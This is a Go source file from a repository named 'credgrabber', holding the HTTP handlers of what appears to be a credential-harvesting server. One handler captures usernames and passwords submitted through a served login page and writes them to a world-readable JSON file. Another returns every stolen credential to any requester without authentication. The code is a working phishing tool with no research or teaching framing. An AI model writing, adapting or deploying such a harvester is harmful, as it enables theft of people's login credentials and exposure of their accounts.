credgrabber/handlers.go

50 lines
993 B
Go
Raw Normal View History

package main
import (
"encoding/json"
"io/ioutil"
"log"
"net/http"
)
func homeHandler(c http.ResponseWriter, req *http.Request) {
2013-02-06 00:23:04 -08:00
log.Printf("%v\n", req.URL)
t := templates.Lookup("index.html")
if t != nil {
t.Execute(c, req.Host)
} else {
log.Fatal("template index.html not found")
}
}
func helloHandler(c http.ResponseWriter, req *http.Request) {
t := templates.Lookup("hello.html")
t.Execute(c, req.Host)
}
func passHandler(resp http.ResponseWriter, req *http.Request) {
un := req.FormValue("username")
pw := req.FormValue("password")
c := Cred{un, pw}
m.Lock()
defer m.Unlock()
creds = append(creds, c)
b, err := json.Marshal(creds)
if err != nil {
log.Fatal(err)
}
err = ioutil.WriteFile(*db_file, b, 0644)
if err != nil {
log.Fatal(err)
}
http.Redirect(resp, req, "/", http.StatusTemporaryRedirect)
}
func credHandler(resp http.ResponseWriter, req *http.Request) {
b, err := json.Marshal(creds)
if err != nil {
log.Fatal(err)
}
resp.Write(b)
}